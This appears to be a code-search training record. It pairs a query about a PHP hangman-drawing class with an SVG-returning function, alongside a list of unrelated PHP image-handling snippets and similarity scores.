"public function ImageCreateForOnline($name)\n {\n list($width,$height)=getimagesize(\"images/imagesevice/createImg.png\");\n $authimg = imagecreate($width,$height);\n $bg_color = ImageColorAllocate($authimg,68,68,68);\n\n $bg = ImageCreateFromPng(\"images/imagesevice/createImg.png\");\n imagecopyresized($authimg,$bg,0,0,0,0,$width,$height,$width,$height); \n\n $fontfile =\"images/imagesevice/simhei.ttf\";\n putenv('GDFONTPATH=' . realpath($fontfile));\n\n $font_color = ImageColorAllocate($authimg,0,0,0); \n $box = imagettfbbox(25, 0, $fontfile, $name);\n $fontwidth = $box[4]-$box[0];\n ImageTTFText($authimg, 25, 0, ceil(($width-$fontwidth)/2), 830, $font_color, $fontfile, $name);\n\n $font_color = ImageColorAllocate($authimg,68,68,68);\n $dateTime = date(\"Y年m月d日\");\n $boxtime = imagettfbbox(15, 0, $fontfile, $dateTime);\n $datewidth = $boxtime[4]-$boxtime[0];\n ImageTTFText($authimg, 15, 0, ceil(($width-$datewidth)/2), 1175, $font_color, $fontfile, $dateTime);\n //imagestring($authimg, 5, 430, 430, date(\"Y年m月d日\"), $font_color);\n //imagestring($authimg, 5, 230, 730, $name, $font_color);\n $fs = new Filesystem();\n if(!$fs->exists($this->_filedir . '/Online'))\n $fs->mkdir($this->_filedir . '/Online', 0700);\n $fileName = '/Online/' . time() . rand(100,999) . '.png';\n $hechengImg = $this->_filedir . $fileName;\n ImagePNG($authimg,$hechengImg);\n return $fileName;\n }",
"protected function renderImage(){\n \n return sprintf(\n '<img src=\"%s\" title=\"%s\" alt=\"%s\">',\n $this->getField('url'),\n $this->getField('title',''),\n $this->getField('alt','')\n );\n \n }",
"public static function getImageCDNUrl()\n {\n return '';\n }",
"public function show()\n {\n $path = Storage::url('public/IMG-20180930-WA0004.jpg.jpg');\n\n return '<img src=\"' .$path. '\" alt=\"\">';\n }",
"public function fullTextImage(){\n if(isset($this->imageFullText)){\n return $this->imageFullText;\n }\n $this->fetchFullTextImage();\n return $this->imageFullText;\n }",
"public static function thumbnail(){\n\n}",
"function getName() \t\t { return 'NP_ImageCreateThumbnail'; }",
"function img($image,$layout='')\n{\n return $image;\n}",
"final public function getImage() {\n\t\t\tif(strlen($this->text) === 0)\n\t\t\t\treturn null;\n\t\t\t\n\t\t\t$data = $this->getTCPDFBarcode()->getBarcodeArray();\n\t\t\tif($data === false)\n\t\t\t\treturn null;\n\t\t\t\n\t\t\t$image = new Image($data['maxw'], $data['maxh']);\n\t\t\t\n\t\t\t$x = 0;\n\t\t\tforeach($data['bcode'] as $bar) {\n\t\t\t\tfor($i = 0; $i < $bar['w']; ++$i) {\n\t\t\t\t\tfor($y = 0; $y < $bar['h']; ++$y)\n\t\t\t\t\t\t$image->setPixel($x + $i, $bar['p'] + $y, (int)$bar['t']);\n\t\t\t\t}\n\t\t\t\t$x += $bar['w'];\n\t\t\t}\n\t\t\t\n\t\t\treturn $image;\n\t\t}",
"public function getProfilePicture();",
"public function saveAsset()\n {\n if(!empty($this->uploadedFile))\n {\n // If file is exist -> remove him\n if(file_exists($this->getFilePath()))\n {\n unlink($this->getFilePath());\n }\n $this->genFilename();\n $imagine = Image::getImagine()->open($this->uploadedFile->tempName);\n }\n else\n {\n if(file_exists($this->getFilePath())) {\n $imagine = Image::getImagine()->open($this->getFilePath());\n } else return false;\n }\n\n $size = $imagine->getSize();\n $box = $this->getImageBox($size);\n\n if (($size->getWidth() <= $box->getWidth() && $size->getHeight() <= $box->getHeight()) || (!$box->getWidth() && !$box->getHeight())) {\n $widthDiff = abs($size->getWidth() - $box->getWidth()) / $size->getWidth();\n $heightDiff = abs($size->getHeight() - $box->getHeight()) / $size->getHeight();\n if($widthDiff > $heightDiff) {\n $resizeBox = new Box($box->getWidth(), $size->getHeight() * $box->getWidth()/$size->getWidth());\n } else {\n $resizeBox = new Box($size->getWidth() * $box->getHeight()/$size->getHeight(), $box->getHeight());\n }\n $imagine->resize($resizeBox);\n\n // var_dump($width);\n // var_dump($height);\n // die;\n // // $imagine->crop($point, $box);\n // $imagine->save($this->getFilePath());\n // return $this->save(false);\n }\n\n $imagine = $imagine->thumbnail($box, ManipulatorInterface::THUMBNAIL_OUTBOUND);\n $imagine->save($this->getFilePath());\n\n // create empty image to preserve aspect ratio of thumbnail\n // $thumb = Image::getImagine()->create($box, new Color('FFF', 100));\n\n // // calculate points\n // $startX = 0;\n // $startY = 0;\n // if ($size->getWidth() < $box->getWidth()) {\n // $startX = ceil($box->getWidth() - $size->getWidth()) / 2;\n // }\n // if ($size->getHeight() < $box->getHeight()) {\n // $startY = ceil($box->getHeight() - $size->getHeight()) / 2;\n // }\n\n // $thumb->paste($img, new Point($startX, $startY));\n // $thumb->save($this->getFilePath());\n\n return $this->save(false);\n }",
"private function _xyz()\n {\n $logo = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAGQAAAAcCAYAAACXkxr4AAAACXBIWXMAA'\n . 'AsTAAALEwEAmpwYAAAKC0lEQVRoge2ZeVDU5xnHPz/AXdmDGwUEXDAsMxaRywOJEkINxmGp1cYDZ+o0'\n . 'bTTtZDqTQDrpTOu09srkciYzMSpNtO2ITZxpMrD5IyIB2yikchjU6C5JRMBFZFniHuAu6779Y7MbEZZ'\n . 'L2z9Svv/sb/d9rt/7fZ7nPRbmMIc5zGEOc5gdpAdl6Pr1AdFjsnChy4piPkjz5azJTCVGCbbbHpShcs'\n . 'KU8gfm79uK+56g5nMGceSdMxh6bSiUoQTHqlAp5KgUMuShC0ldqGTN4hAUYSrSNbHI5bI5UibBrCenw'\n . '3BdvFH1IYZeG/FLE4mOTiIsIpyQ+aFj5BRqFSqVgoj+VjKXashMXzTO5969e4Xved++fdJEYxP9vm/f'\n . 'Punez6lsTsfXTHRm8h4TxXkvQgINTIYDR06JF176gNScLH6wOZOISDkAXw05sduHx8iqVApSUuWYrsv'\n . 'ovXodt9stQkJCxgXkC/LugAM9TxeB5CezORud2cgFwowIsTqcYv/bjbQPjlBe+RQajcDeNYCltx9PsJ'\n . 'poZRiolNzsuwl4q8OHpIxkWt+rY+OGlRMGGagS7geBJmUyX7OdyKlsT6c6YAaEWB1OUfH7fxCfV8Cuj'\n . 'YlcqmvlxKFmFiyIILNwBXnp0VzpsZDiNvN5pIzmywNAHADh4TJkIfO5efOrgPYfJBFT2ZxNhczU53+9'\n . 'Qva/3ciSohLWLglC/7u3ACjZsJLioizmzQvBPjKKLTSOUNs1tq9L4otLRgZugEL9kN+G0+maUXC+rPI'\n . '9TzQ2WebNpuomW7OmY+t+K31aSlUnzonB8CV8RznAqRN1pKTG85MnS1AqlUiSJAkhxLGGLhZFSoS6na'\n . 'zK01Ktb+HvZzopeHQDD6+NYPRKN+//Rc/+135GUFDQ3E4rAKaskOZzBtE4FEuy1MvZDz5hx871rMrTA'\n . 'iBJkgTQ2TNIrzscW2sz2cuXALAkLow7A3YAomVwtf8mCoV8jowpEDTZoNXhFDVGyEoa5ULDJ+zYtZGV'\n . 'uWkIIfxkCCHEe6eukJU0iuWmhezMFCRJkgZcMOwY8W55b49iNPawMC4Kt9stJvP5/45JK0R/1sDqXC1'\n . 'XP/6IteuWs0ybAHxTGV4ZI47wZMxXPkepCkUmm4fb7RZVR0+i1sSSkioHXDQ1X+bZZ5/At+U1dpvFsf'\n . 'qLmAZtFC1fTPn6zDGVU13XIWwjLmwjTgw9FtKToqjcViA1tHeJ2jMGbLdd5GnjaTH2oZ4vQ1eQTlG2R'\n . 'qo9YxA1TUYAEqLVmAZt5Gnj/d9tw04aPr0GQFWlboxP3QvVovbFcv9vh2pahP6s15bJYqMwU8PTZblo'\n . 'k2MkgD6zVRysbcM0aMM+7EKbFM3O4gz/uLHbLA7WtHK6o4uEKDXWESflxcvYU5YXsEsErBCrwymGPBE'\n . 'ssF2jYO1yHvtuDi7XKC7XqF9GCCFq9G2sKkji0rnP0GqTAAgODqbxozYWJz1EaqzgvXf/RdyCCLIzU/'\n . 'y62uQYqWJrPsYeM8frL47zX9vUSVGWhsptBdINsw1DjwWAomyNlJ4cTZvRxG5dLlWVOqkoW0Plmx/SZ'\n . '7YKH8FVlTopIVpFm9HEnrI8aU9ZnqQrSJd8xLcZTeN8miw2//OhmhZxWN9K6RottS+WS8d/tYU+i52K'\n . 'Ayf9Mj4yqip10vG9W6Q8bTwN57v84xUHTtJnsXOkopTaF8ulPaW5HNa3cqimJWCXCEhIq7GPJcneA19'\n . 'YRDivv2/gzl3iQgjx5tF65IlLiHDcYmjIxrqHlyKE4ILRRL9HzepHVxBxe5TTdc2UbFg57tokTCmXdG'\n . 'u0mCw2jN1mf5B9ZquwDzv9mRYXo54wRl+l6grSJW1iDMfqL1C2Rjuu2u6Fr2Img/6skRxtgj+btckx0'\n . 'i+3rcZksdHQ3iUA9E2GMTqFWRrK1njX14b2LmGy2Nity/V3lvL1mVJhpobG89cC+g1IyA2XGs81r2Jy'\n . 'rIK48Dv84s9tXOu34vF4hG3Yhf7jL3msOJNP/9lCUtIC366LN6o+JGNtPrlawTtv6UnVLKS4KGtCP2X'\n . '56QDU3PVyDe1dFGYvnmrO/CRaHU5hGrSSEKUmPibsgWwaTBbbOOJ81z7GHjMApfnptBlNVNd1CPAmmM'\n . '+/TyZXGz+mxacnR2PsNQf0OyEhHo9HKMOVAL5Fmk3rlhLrGeL12i95+ehZ9r/dSGpOFmlpMjr+3UHx+'\n . 'hUAfNJipGfIzeNbVnCrrZOm5st87/vrAl4qapNjpIQoNafbv8ma2qZOdhYvm3TCAI7VX6S6rkNUvHmS'\n . '3LQEStekT6nzIFGxNZ/CTA2vnmhC90K16DBcH9eKZnrDPSEh/RY70fNuExUdTnBwEEIIFPIQadfWAgY'\n . 'He+gZkTEQFMnjW1Zg6bISGalmVZ4Wh8PBvoOn2fjjH5KjdrF//wk26fJZvSJ90qAKsxf721af2SqAaW'\n . 'd6i6GPNqOJ57fn/8+v98OUcum1Z0qkV35agnXEyY9e1furZbaYkBDnnSDUbgeKMBUhISGS7+yQHKugN'\n . 'DsZ50g/iWneBftqxyV27NoIwLN/qCVv4waKV8n4beUbZGZo2Lx57ZRB+NrWsfqLNLR3octPm1bwFVvz'\n . 'eX57PuBdYB80bCPOackVZWuk2j+WkxCl5pC+dcyYL8GmiwkJkavmEa2SERutxuPx+A0GBQVJO3UrJPV'\n . '82Rj5ZdoEXjpyhtiMHHZsSuRgxQEiI9U8ubuMefOmvp3RJsdI2sQYGs9f9e6usjXTCt7Xs3cUZ6BvMs'\n . 'z45a0Op5joGUCbGEOr4cYYeV9L0ibFTBhL6dcL+t0yLYa+MXKG7kG0ieP1fZiQkKgQifDwUOJjwqR7T'\n . '9Yej0c8XZZLb+fndHa6WJmbzoGTPYjEpWwqieOvv36LBQsi+Plz2ybUDwRdfhr2ERcqhWzGC/Pu0jxU'\n . 'oTL2Hj09pazH4xH56d7F+rC+BavDKawOpzisbyHn690QQHlxBsZeM7VnDAK8ZPzpnWa0iTEUZWskq8M'\n . 'pnnqlVlTXdYg+s1X0ma2i8fw1dF+TUpStkbSJMVTXX/T7OFTTIlo7TZQXZwSMb9Y9t7quQ0hhi1CGKw'\n . 'mOkBM8dJPTf6thYVwUT2xZx6JFsTOy3We2iucO1LFbl0tRtmaMrrHbLGqaDFRuK5DAm82/OdLIa8+U+'\n . 'OWq6zpEbVMnx/duke7We/ndpnEHwLvlTYNW7CMuCjM1PL89f0wy1J4xiOr6i9iHnVhHnDySlcLTuhy/'\n . 'TEN7lzhc24qx14wqVMYjWSlUbP1mLbM6nOLVd5toM3jPPCqFHF1+2qTb8hkT4vF4RPfAMB9fGoB4Ddp'\n . 'YK2erT9F/w0LmslQ2b1479zftfWDSiRt2ukV7r93/3eZy8kW3E5ukYmmyAuvlVi6d+2zWVTGH8Zh0Aj'\n . '0ejxgddWM232LQ7v0vY9hqxzJ4i1tD3muG3ILl/hP1HObwrcN/AF5zmzGLB8I2AAAAAElFTkSuQmCC';\n\n return $logo;\n }",
"public function image() {\n\t\t$image = new WkImage();\n\n\t\t$command = new Command($image->getImage()->getCommand() . ' --htmldoc');\n\n\t\tif ($command->execute()) {\n\t\t\techo $command->getOutput();\n\t\t} else {\n\t\t\techo $command->getError();\n\t\t}\n\t}"
]
| [
"0.5964113",
"0.5954072",
"0.59228843",
"0.59142345",
"0.58029443",
"0.5789074",
"0.5789074",
"0.5789074",
"0.5789074",
"0.5774229",
"0.5769533",
"0.5761237",
"0.574117",
"0.57241887",
"0.5715815",
"0.56898564",
"0.56898564",
"0.5669749",
"0.56588167",
"0.5635541",
"0.56141627",
"0.5612776",
"0.5595924",
"0.5582966",
"0.55772924",
"0.55460936",
"0.5541293",
"0.5530717",
"0.5527275",
"0.5523047",
"0.55145055",
"0.55115205",
"0.5505502",
"0.5498875",
"0.5495261",
"0.54908764",
"0.548991",
"0.5488225",
"0.5487633",
"0.5478388",
"0.547746",
"0.547746",
"0.54683286",
"0.5466281",
"0.545823",
"0.54549724",
"0.5451107",
"0.5439491",
"0.5436295",
"0.54354554",
"0.5435221",
"0.54310155",
"0.5403113",
"0.5396405",
"0.5394964",
"0.5392276",
"0.5390266",
"0.53891546",
"0.53873664",
"0.5368463",
"0.53519416",
"0.53509957",
"0.534567",
"0.53324234",
"0.5323426",
"0.53186595",
"0.5317483",
"0.5313368",
"0.52962166",
"0.5295804",
"0.5292849",
"0.5290793",
"0.5289697",
"0.52854913",
"0.5277562",
"0.52696687",
"0.5262653",
"0.525134",
"0.5247556",
"0.5239512",
"0.5225594",
"0.5220537",
"0.5218251",
"0.52060145",
"0.5200545",
"0.5200218",
"0.51941437",
"0.5190332",
"0.51870066",
"0.51778215",
"0.5170929",
"0.5165592",
"0.5158149",
"0.5156516",
"0.5154678",
"0.515281",
"0.51498437",
"0.51472235",
"0.5146101",
"0.51458544",
"0.5137966"
]
| 0.0 | -1 |
end function GetStolpen Create a part of the picture and return as string | public function GetRepet() {
$html = <<<EOD
<!-- HÃR KOMMER REPET -->
<g id="repet">
<line fill="#B8CB0C" stroke="#000000" stroke-width="2" stroke-miterlimit="10" x1="200.829" y1="4" x2="200.829" y2="45.744"/>
</g>
EOD;
return $html;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function DrawPicture() { \r\n\r\n $hogerarm = $this->GetHogerArm();\r\n $vansterarm = $this->GetVansterArm();\r\n $vansterben = $this->GetVansterBen();\r\n $hogerben = $this->GetHogerBen();\r\n $kroppen = $this->GetKroppen();\r\n $huvud = $this->GetHuvud();\r\n $repet = $this->GetRepet();\r\n $stolpen = $this->GetStolpen();\r\n $kullen = $this->GetKullen();\r\n $header = $this->GetSvgHeader();\r\n\r\n $html = <<<EOD\r\n {$header}\r\n {$kullen}\r\n {$stolpen}\r\n {$kroppen} \r\n {$hogerarm} \r\n {$vansterarm} \r\n {$vansterben} \r\n {$hogerben}\t\r\n {$repet} \t\t\r\n {$huvud}\r\n </svg>\r\nEOD;\r\n\r\n return $html;\r\n }",
"function getImageStringFromFile($xpmfile) {\r\n $file = fopen($xpmfile,\"r\");\r\n $content = fread($file, filesize($xpmfile));\r\n // remove all \" and CR\r\n $content = str_replace(array(\"\\\"\",\"\\n\", \"\\r\"), \"\", $content);\r\n // find position of { and of } and substr between these 2\r\n $start = strpos($content, \"{\")+1; // to remove the {\r\n $stop = strpos($content, \"}\");\r\n $imgdescr = substr($content, $start, $stop - $start);\r\n // explode\r\n $xpm = explode(\",\", $imgdescr);\r\n \r\n //print_r($xpm);\r\n \r\n return getImageString($xpm);\r\n}",
"function display_graphic($piece)\n{\n}",
"public function getAbsolutePicture();",
"private function getImg()\n\t{\n\t\t$buffer = ' ';\n\t\t\n\t\tif(!$this->aImg['sFilename'])\n\t\t\treturn $buffer;\n\t\t\n\t\t$buffer = '<img src=\"../../thumbs/'.$this->aImg['sFilename'].'\" />';\t\t\n\t\t\n\t\treturn $buffer;\n\t}",
"public function getWebPicture();",
"function create_image(){\r\n\t$wmark = imagecreatefrompng('img/stamp.png');\r\n\t//Load jpg image\r\n\t$image = imagecreatefromjpeg('img/image'.rand(1,3).'.jpg');\r\n\t\r\n\t//Get image width/height\r\n\t$width = imagesx($image);\r\n\t$height = imagesy($image);\r\n\t\r\n\t// Set the margins for the stamp and get the height/width of the stamp image\r\n\t$marge_right = 10;\r\n\t$marge_bottom = 10;\r\n\t$sx = imagesx($wmark);\r\n\t$sy = imagesy($wmark);\r\n\t\r\n\t// Copy the stamp image onto our photo using the margin offsets and the photo width to calculate positioning of the stamp. \r\n\timagecopy($image, $wmark, $width-$sx-$marge_right, $height-$sy-$marge_bottom,0,0,$sx,$sy);\r\n\t\r\n\t// Prepare the final image and save to path. If you only pass $image it will output to the browser instead of a file.\r\n\timagepng($image,\"generatedImage.png\");\r\n\t\r\n\t// Output and free memory\r\n\timagedestroy($image);\r\n}",
"public function getImage()\n\t{\n\t\treturn $this->generator->render($this->generateCode(), $this->params);\n\t}",
"function image_hwstring($width, $height)\n {\n }",
"function create($filename=\"\")\n{\nif ($filename) {\n $this->src_image_name = trim($filename);\n}\n$dirname=explode(\"/\",$this->src_image_name);\nif(!file_exists(\"$dirname[0]/$dirname[1]/$dirname[2]/$dirname[3]/\")){\n\t@mkdir(\"$dirname[0]/$dirname[1]/$dirname[2]/$dirname[3]/\", 0755);\n}\nif(stristr(PHP_OS,\"WIN\")){\n\t$this->src_image_name = @iconv(\"utf-8\",\"GBK\",$this->src_image_name);\n\t$this->met_image_name = @iconv(\"utf-8\",\"GBK\",$this->met_image_name);\n}\n$src_image_type = $this->get_type($this->src_image_name);\n$src_image = $this->createImage($src_image_type,$this->src_image_name);\nif (!$src_image) return;\n$src_image_w=ImageSX($src_image);\n$src_image_h=ImageSY($src_image);\n\n\nif ($this->met_image_name){\n $this->met_image_name = strtolower(trim($this->met_image_name));\n $met_image_type = $this->get_type($this->met_image_name);\n $met_image = $this->createImage($met_image_type,$this->met_image_name);\n $met_image_w=ImageSX($met_image);\n $met_image_h=ImageSY($met_image);\n $temp_met_image = $this->getPos($src_image_w,$src_image_h,$this->met_image_pos,$met_image);\n $met_image_x = $temp_met_image[\"dest_x\"];\n $met_image_y = $temp_met_image[\"dest_y\"];\n\t if($this->get_type($this->met_image_name)=='png'){imagecopy($src_image,$met_image,$met_image_x,$met_image_y,0,0,$met_image_w,$met_image_h);}\n\t else{imagecopymerge($src_image,$met_image,$met_image_x,$met_image_y,0,0,$met_image_w,$met_image_h,$this->met_image_transition);}\n}\nif ($this->met_text){\n $temp_met_text = $this->getPos($src_image_w,$src_image_h,$this->met_text_pos);\n $met_text_x = $temp_met_text[\"dest_x\"];\n $met_text_y = $temp_met_text[\"dest_y\"];\n if(preg_match(\"/([a-f0-9][a-f0-9])([a-f0-9][a-f0-9])([a-f0-9][a-f0-9])/i\", $this->met_text_color, $color))\n {\n $red = hexdec($color[1]);\n $green = hexdec($color[2]);\n $blue = hexdec($color[3]);\n $met_text_color = imagecolorallocate($src_image, $red,$green,$blue);\n }else{\n $met_text_color = imagecolorallocate($src_image, 255,255,255);\n }\n imagettftext($src_image, $this->met_text_size, $this->met_text_angle, $met_text_x, $met_text_y, $met_text_color,$this->met_text_font, $this->met_text);\n}\nif(stristr(PHP_OS,\"WIN\")){\n\t$save_files=explode('/',$this->save_file);\n\t$save_files[count($save_files)-1]=@iconv(\"utf-8\",\"GBK\",$save_files[count($save_files)-1]);\n\t$this->save_file=implode('/',$save_files);\n}\nif ($this->save_file)\n{\n switch ($this->get_type($this->save_file)){\n case 'gif':$src_img=ImagePNG($src_image, $this->save_file); break;\n case 'jpeg':$src_img=ImageJPEG($src_image, $this->save_file, $this->jpeg_quality); break;\n case 'png':$src_img=ImagePNG($src_image, $this->save_file); break;\n default:$src_img=ImageJPEG($src_image, $this->save_file, $this->jpeg_quality); break;\n }\n}\nelse\n{\nif ($src_image_type = \"jpg\") $src_image_type=\"jpeg\";\n header(\"Content-type: image/{$src_image_type}\");\n switch ($src_image_type){\n case 'gif':$src_img=ImagePNG($src_image); break;\n case 'jpg':$src_img=ImageJPEG($src_image, \"\", $this->jpeg_quality);break;\n case 'png':$src_img=ImagePNG($src_image);break;\n default:$src_img=ImageJPEG($src_image, \"\", $this->jpeg_quality);break;\n }\n}\nimagedestroy($src_image);\n}",
"public function createImage2(){\n $this->createCircle(100, 100, 50, 50, 0, 360);\n $this->createCircle(400, 100, 50, 50, 0, 360);\n $this->createCircle(110, 200, 50, 50, 0, 360);\n $this->createCircle(250, 300, 50, 50, 0, 360);\n $this->createCircle(390, 200, 50, 50, 0, 360);\n $this->createLine(125, 100, 375, 100);\n $this->createLine(100, 125, 100, 175);\n $this->createLine(400, 125, 400, 175);\n $this->createLine(125, 220, 225, 300);\n $this->createLine(275, 300, 375, 220);\n $this->generateImage();\n }",
"public function DrawPartsOfPicture($aNumberOfParts=9) {\r\n \r\n $html = $this->GetSvgHeader();\r\n switch ($aNumberOfParts) { \r\n case 0:\r\n return;\r\n break;\r\n case 1:\r\n $html .= $this->GetKullen();\r\n break;\r\n case 2:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n break;\r\n case 3:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n break;\r\n case 4:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n $html .= $this->GetHuvud();\r\n break;\r\n case 5:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n $html .= $this->GetHuvud(); \r\n $html .= $this->GetKroppen();\r\n break;\r\n case 6:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n $html .= $this->GetHuvud(); \r\n $html .= $this->GetKroppen();\r\n $html .= $this->GetHogerArm();\r\n break;\r\n case 7:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n $html .= $this->GetHuvud(); \r\n $html .= $this->GetKroppen();\r\n $html .= $this->GetHogerArm();\r\n $html .= $this->GetVansterArm();\r\n break;\r\n case 8:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n $html .= $this->GetHuvud(); \r\n $html .= $this->GetKroppen();\r\n $html .= $this->GetHogerArm();\r\n $html .= $this->GetVansterArm();\r\n $html .= $this->GetHogerBen();\r\n break;\r\n case 9:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n $html .= $this->GetHuvud(); \r\n $html .= $this->GetKroppen();\r\n $html .= $this->GetHogerArm();\r\n $html .= $this->GetVansterArm();\r\n $html .= $this->GetHogerBen();\r\n $html .= $this->GetVansterBen(); \r\n break;\r\n }//end switch\r\n \r\n $html .= \"</svg>\";\r\n\r\n return $html; \r\n }",
"public function createImage1(){\n $this->createHexagon(150,75, 50, 200, 150, 325, 275, 325, 350,200, 275, 75);\n $this->createCircle(200, 200, 200, 200, 0, 360);\n $this->createLine(200, 125, 125, 200);\n $this->createLine(200, 125, 275, 200);\n $this->createLine(125, 200, 200, 275);\n $this->createLine(275, 200, 200, 275);\n $this->generateImage();\n }",
"public function getImage();",
"public function getImage();",
"public function getImage();",
"public function getImage();",
"public function getOpengraphImage();",
"function addSTC($propRS){\r\n\tinclude('Connections/adestate.php'); \r\n//\techo \"thmb =\".$propRS['THUMB_PIC_PATH'];\r\n\t$logo_file = \"images/soldstc.png\"; \r\n\t$image_file = $propRS['THUMB_PIC_PATH']; \r\n $image_info = getimagesize($image_file);\r\n\t//echo \"mannestateDB = \".$mannestateDB;\r\n\t$picture_ID = getSeqNextVal( $mannestateDB, $database_mannestateDB, \"sequence_picture_id\" );\r\n $uploadfilename = $picture_ID.'_STC_THUMB';\r\n $photo = \"\";\r\n $image_type = $image_info[2];\r\n\t//echo \"type = \".$image_info;\r\n\t if( $image_type == IMAGETYPE_JPEG ) {\r\n\t\t $photo = imagecreatefromjpeg($image_file);\r\n\t\t $uploadfile = '../property_images/'.$propRS['PROPERTY_ID'].'/'.$uploadfilename.\".jpg\";\r\n\t } elseif( $image_type == IMAGETYPE_GIF ) {\r\n\t\t $photo = imagecreatefromgif($image_file);\r\n \t\t $uploadfile = '../property_images/'.$propRS['PROPERTY_ID'].'/'.$uploadfilename.\".gif\";\r\n\t } elseif( $image_type == IMAGETYPE_PNG ) {\r\n\t\t $photo = imagecreatefrompng($image_file);\r\n\t\t $uploadfile = '../property_images/'.$propRS['PROPERTY_ID'].'/'.$uploadfilename.\".png\";\r\n\t }\r\n //echo \"photo\".$photo;\r\n\t$fotoW = imagesx($photo); \r\n\t$fotoH = imagesy($photo); \r\n\t$targetfile = $uploadfile; \r\n\r\n $logoImage = imagecreatefrompng($logo_file); \r\n\t$logoW = imagesx($logoImage); \r\n\t$logoH = imagesy($logoImage); \r\n\t$photoFrame = imagecreatetruecolor($fotoW,$fotoH); \r\n\t$dest_x = $fotoW - $logoW; \r\n\t$dest_y = $fotoH - $logoH; \r\n\timagecopyresampled($photoFrame, $photo, 0, 0, 0, 0, $fotoW, $fotoH, $fotoW, $fotoH); \r\n\timagecopy($photoFrame, $logoImage, 0, 0, 0, 0, $logoW, $logoH); \r\n\timagejpeg($photoFrame, $targetfile); \r\n//\techo \"dest_x\".$dest_x;\r\n\t\r\n\t$image_file = $propRS['SLIDE_PIC_PATH']; \r\n $uploadfilename = $picture_ID.'_STC_SLIDE';\r\n\t if( $image_type == IMAGETYPE_JPEG ) {\r\n\t\t $photo = imagecreatefromjpeg($image_file);\r\n\t\t $uploadfile = '../property_images/'.$propRS['PROPERTY_ID'].'/'.$uploadfilename.\".jpg\";\r\n\t } elseif( $image_type == IMAGETYPE_GIF ) {\r\n\t\t $photo = imagecreatefromgif($image_file);\r\n \t\t $uploadfile = '../property_images/'.$propRS['PROPERTY_ID'].'/'.$uploadfilename.\".gif\";\r\n\t } elseif( $image_type == IMAGETYPE_PNG ) {\r\n\t\t $photo = imagecreatefrompng($image_file);\r\n\t\t $uploadfile = '../property_images/'.$propRS['PROPERTY_ID'].'/'.$uploadfilename.\".png\";\r\n\t }\r\n\t$fotoW = imagesx($photo); \r\n\t$fotoH = imagesy($photo); \r\n\t$slidetargetfile = $uploadfile; \r\n\r\n $logoImage = imagecreatefrompng($logo_file); \r\n\t$logoW = imagesx($logoImage); \r\n\t$logoH = imagesy($logoImage); \r\n\t$photoFrame = imagecreatetruecolor($fotoW,$fotoH); \r\n\t$dest_x = $fotoW - $logoW; \r\n\t$dest_y = $fotoH - $logoH; \r\n\timagecopyresampled($photoFrame, $photo, 0, 0, 0, 0, $fotoW, $fotoH, $fotoW, $fotoH); \r\n\timagecopy($photoFrame, $logoImage, 0, 0, 0, 0, $logoW, $logoH); \r\n\timagejpeg($photoFrame, $slidetargetfile); \r\n\t\r\n\t\r\n $updateSQL = sprintf(\"UPDATE pictures SET IS_MAIN=%s WHERE PROPERTY_ID=%s\",\r\n\t\t\t\t\t\t GetSQLValueString(\"N\", \"text\"),\r\n\t\t\t\t\t\t\t\t GetSQLValueString($propRS['PROPERTY_ID'], \"int\"));\r\n $mainRS = mysql_query($updateSQL) or die(mysql_error());\r\n\t//echo $updateSQL;\r\n\t$insertSQL = sprintf(\"INSERT INTO pictures ( PICTURE_ID, PROPERTY_ID, IS_MAIN, TITLE, COMMENTS, THUMB_PIC_PATH, SLIDE_PIC_PATH, FULL_PIC_PATH, ORIGINAL_PIC_PATH) VALUES ( %s, %s, %s, %s, %s, %s, %s, %s, %s)\",\r\n\t\t\t GetSQLValueString($picture_ID, \"double\"),\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t GetSQLValueString($propRS['PROPERTY_ID'], \"int\"),\r\n\t\t\t GetSQLValueString('Y', \"text\"),\r\n\t\t\t GetSQLValueString(\"STC\", \"text\"),\r\n\t\t\t GetSQLValueString(\"\", \"text\"),\r\n\t\t\t GetSQLValueString($targetfile, \"text\"),\r\n\t\t\t GetSQLValueString($slidetargetfile, \"text\"),\r\n\t\t\t GetSQLValueString($slidetargetfile, \"text\"),\r\n\t\t\t GetSQLValueString($slidetargetfile, \"text\"));\r\n\t//echo $insertSQL;\r\n $picRS = mysql_query($insertSQL) or die(mysql_error());\r\n//echo \"STC added\";\r\n }",
"function getImage();",
"public function build(): string\n {\n $this->verifyBom($this->encoding, $this->description);\n $this->_handleDefaultValues();\n\n $frame = $this->encoding->getCode();\n $frame .= $this->mimeType;\n $frame .= \"\\x00\";\n $frame .= $this->pictureType;\n $frame .= $this->description;\n $frame .= $this->encoding->getDelimiter();\n $frame .= $this->pictureData;\n\n return $frame;\n }",
"function getCover () {\n\n}",
"function get_court_pic($img)\n{\n\tdefine('UPLOAD_DIR', 'CourtPics/');\n\t$img \t= str_replace('data:image/png;base64,', '', $img);\n\t$img \t= str_replace(' ', '+', $img);\n\t$data \t= base64_decode($img);\n $file \t= UPLOAD_DIR . uniqid() . '.jpg';\n $success = file_put_contents($file, $data);\n \n\treturn $success ? $file : 'some problem occured';\n}",
"private function generateThumbnailGD(){\n\t\t\n\t}",
"public function toGDImage() {}",
